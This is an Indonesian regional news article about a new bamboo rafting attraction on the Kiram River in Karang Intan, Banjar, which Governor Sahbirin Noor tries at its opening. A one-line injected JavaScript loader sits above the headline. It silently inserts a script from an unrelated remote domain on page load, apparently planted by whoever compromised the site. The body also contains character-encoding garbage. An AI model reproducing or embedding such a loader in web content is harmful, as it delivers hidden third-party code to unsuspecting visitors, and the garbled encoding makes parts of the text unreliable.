(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kini, Main Air Naik Bamboo Rafting Bisa Dilakukan di Sungai Kiram Karang Intan

MARTAPURA, Bermain air di arus deras menggunakan Bamboo Rafting kini tak hanya bisa dilakukan di Sungai Amandit Loksado, Kabupaten Hulu Sungai Selatan. Aksi menguji adrenaline dengan manaiki Bamboo Rafting kini bisa dilakukan di Desa Kiram, Kecamatan KarangÃƒâ€šÃ‚Â Intan, Kabupaten Banjar. Kamis (7/12), Gubernur Kalsel H Sahbirin Noor mencoba wahana wisata alam teranyar di Kalsel.

Bersama sang istri dengan mengenakan life jacket, Paman Birin naik ke atas lanting bamboo yang sudah dipersiapkan khusus. Paman Biri tidak menunjukkan rasa takut, malah terlihat rasa senang dan raut bahagia.

Pada peresmian Bamboo Rafting di Desa Kiram ini, sudah tersedia 60 lanting paring berikut masing-masing 1 orang joki alias pengemudi Bamboo Rafting berpengalaman. Ya, para-para joki tersebut didatangkan langsung dari Loksado Kabupaten HSS dan batang-batang bambunya pun didatangkan langsung dari Loksado Kabupaten HSS.

Ali (39) salah satu joki bamboo rafting membenarkan bahwa bahan bambunya didatangkan langsung dari Loksado.

Memang jalur air di Sungai Kiram yang dilewati tidak seektrim di Sungai Amandit Loksado. Pun, waktu tempuh hanya 40 menit saja, yang mengherankan ternyata Paman Birin sudah mencoba terlebih dahulu saat malam hari. Dengan 60 perahu bambu alias bamboo rafting secara beriringan mengarungi Sungai Kiram. (hendera)

Foto : hendera